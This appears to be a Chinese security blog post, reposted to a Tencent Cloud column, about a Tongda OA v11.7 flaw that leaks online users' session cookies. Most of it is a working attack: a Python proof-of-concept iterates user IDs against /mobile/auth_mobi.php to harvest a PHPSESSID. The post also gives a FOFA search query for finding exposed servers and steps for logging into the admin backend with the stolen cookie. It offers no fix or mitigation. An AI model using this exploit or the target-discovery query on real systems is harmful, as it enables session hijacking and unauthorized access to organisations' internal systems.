首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >通达OA v11.7 在线用户登录漏洞

通达OA v11.7 在线用户登录漏洞

作者头像
MssnHarvey
发布2022-08-10 19:16:30
发布2022-08-10 19:16:30
2.1K0
举报
文章被收录于专栏:HarveyHarvey

前言

通达OA v11.7 中存在某接口查询在线用户,当用户在线时会返回 PHPSESSION使其可登录后台系统

poc

此poc来源于网络(通过遍历uid的值,判断用户是否上线过,实现任意用户登录

代码语言:javascript
复制
import requests
from bs4 import BeautifulSoup
import sys
import re

url = sys.argv[1]
for i in range(1,10000):
    try :
        vuln_url = url + "/mobile/auth_mobi.php?isAvatar=1&uid="+str(i)+"&P_VER=0"
        resp = requests.get(vuln_url)
        soup = BeautifulSoup(resp.text,'html.parser')
    
        if 'RELOGIN' in soup.get_text():
            print("不存在")
        else:
            PHPSESSION = re.findall(r'PHPSESSID=(.*?);', str(resp.headers))
            print('uid='+str(i)+"在线"+"对应的COOKIE值是:PHPSESSID="+str(PHPSESSION[0]))
            break
    except:
        break

操作过程

fofa语法:app="TDXK-通达OA"

①.判断是否为在线用户(批量

http://xxx.xx.xx.xx/mobile/auth_mobi.php?isAvatar=1&uid=1&P_VER=0

如果页面是空白的即为管理员在线可利用;反之RELOGIN即为下线状态无法利用

②.获取其cookie

③.此时访问 http://xxx.xx.xx.xx/general/ 即可登录后台

效果图

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2021-04-14,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • poc
  • 操作过程
  • 效果图
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档